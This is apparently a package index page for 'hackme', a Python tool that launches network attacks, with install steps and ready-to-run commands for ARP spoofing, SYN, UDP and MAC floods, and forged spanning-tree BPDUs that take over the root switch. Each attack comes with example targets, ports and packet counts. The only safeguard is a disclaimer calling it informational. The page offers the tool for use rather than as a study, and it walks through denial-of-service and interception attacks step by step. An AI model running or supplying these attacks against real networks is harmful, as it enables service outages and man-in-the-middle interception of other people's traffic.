Scripts that implement different network attacks
Project description
Hack Me
A collection of scripts that implement different network attacks. For informational purposes only.
Any contributor to this project doesn't take any responsibility for illegal usage of any script from this project.
Installation and Usage
The tested environment:
- Python v3.10
- Ubuntu 22.04 LTS
Make sure that python3-scapy
is installed on your system: sudo apt-get install python3-scapy
You can either run hackmeapp.py
from a checkout of the code, or install it like any other python project. Keep in mind that a lot of scripts here can be executed only with the root privileges, so you need to run it with sudo.
$ sudo pip3 install hackme
$ sudo hackme
usage: hackmeapp.py [-h] [--debug] {attack} ...
To enter the debug mode, use the --debug
option after the hackme
command.
To get the attack description in the terminal, enter hackme <attack> --desc
Implemented Attacks
The following commands include the --debug
option, which is not required to execute an attack.
ARP Spoofing
You can read about ARP spoofing attack here.
Example usage:
$ sudo hackme --debug arpspoof -i wlp2s0 -m aa:aa:aa:aa:aa:aa -gm BB-BB-BB-BB-BB-BB -gip 192.168.0.1 -vm cc:cc:cc:cc:cc:cc -vip 192.168.0.108
where:
wlp2s0
— your network interfaceaa:aa:aa:aa:aa:aa
— the interface MAC-address (can be written asAA:AA:AA:AA:AA:AA
,AA-AA-AA-AA-AA-AA
andaa-aa-aa-aa-aa-aa
)bb:bb:bb:bb:bb:bb
— the gateway's MAC-address192.168.0.1
— the gateway's IP-addresscc:cc:cc:cc:cc:cc
— the victim's MAC-address192.168.0.108
— the victim's IP-address
Run sudo hackme arpspoof --help
to get more information.
SYN Flood
You can read about SYN flood attack here.
Example usage:
$ sudo hackme --debug synflood -d 172.17.17.10 -p 443 -c 1000
where:
172.17.17.10
— server's IP-address443
— server's port1000
— the number of packets to be sent
Run sudo hackme synflood --help
to get more information.
UDP Flood
You can read about UDP flood attack here.
Example usage:
$ sudo hackme --debug udpflood -d 172.17.17.10 -p 53 -c 1000
where:
172.17.17.10
— server's IP-address53
— server's port1000
— the number of packets to be sent
Run sudo hackme udpflood --help
to get more information.
MAC Flood
You can read about MAC flood attack here.
Example usage:
$ sudo hackme --debug macflood -i wlp2s0 -vm "aa:aa:aa:aa:aa:aa" -c 100000
where:
wlp2s0
— your network interfaceaa:aa:aa:aa:aa:aa
— the victim's MAC-address (can be written asAA:AA:AA:AA:AA:AA
,AA-AA-AA-AA-AA-AA
andaa-aa-aa-aa-aa-aa
)100000
— the number of packets to be sent
Run sudo hackme macflood --help
to get more information.
BPDU Spoofing
On a Layer 2 network, switches running STP, RSTP, MSTP, or VBST exchange BPDUs to calculate a spanning tree and trim the network into a loop-free tree topology. If forged BPDUs are sent to attack a device with edge ports and received by them, the device will automatically change the edge ports to non-edge ports and recalculate the spanning tree. If the bridge priority in the BPDUs sent by an attacker is higher than the priority of the root bridge, the network topology will change, thereby interrupting service traffic.
Example usage:
sudo ./hackmeapp.py --debug stpspoof -i wlp2s0 -smac "aa:aa:aa:aa:aa:aa" -dmac "bb:bb:bb:bb:bb:bb" -p 4096
wlp2s0
— your network interfaceaa:aa:aa:aa:aa:aa
— your MAC-addressbb:bb:bb:bb:bb:bb
— victim switch's MAC-address4096
— priority for choosing the root switch (the lower the number, the higher the priority, so make sure it's low enough to become the root). Must be divisible by 4096
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file hackme-1.0.0.tar.gz
.
File metadata
- Download URL: hackme-1.0.0.tar.gz
- Upload date:
- Size: 24.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.1 CPython/3.10.6
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | ab46a13b1c4635d87b53612e48e10cc03c921b90ada2aa58c3ff0ea3d902a080 |
|
MD5 | a256a14665bd2079f36dae87f6be4fd4 |
|
BLAKE2b-256 | 745a7b7c6f447b792d9177aeddb31279c47f07b931ed3f0e68eb223099e9ae86 |
File details
Details for the file hackme-1.0.0-py3-none-any.whl
.
File metadata
- Download URL: hackme-1.0.0-py3-none-any.whl
- Upload date:
- Size: 30.3 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.1 CPython/3.10.6
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 95ff9313b7af75d10016d884a3badd6dc4674c44b5e700b04db463ae6698e0f7 |
|
MD5 | 24ced3078294e84c5ce4a2739283141b |
|
BLAKE2b-256 | 1e05bd8b78e347b9a8cf4561eaa377893f7329a40d0e1543ce3b9f3b16e91c1a |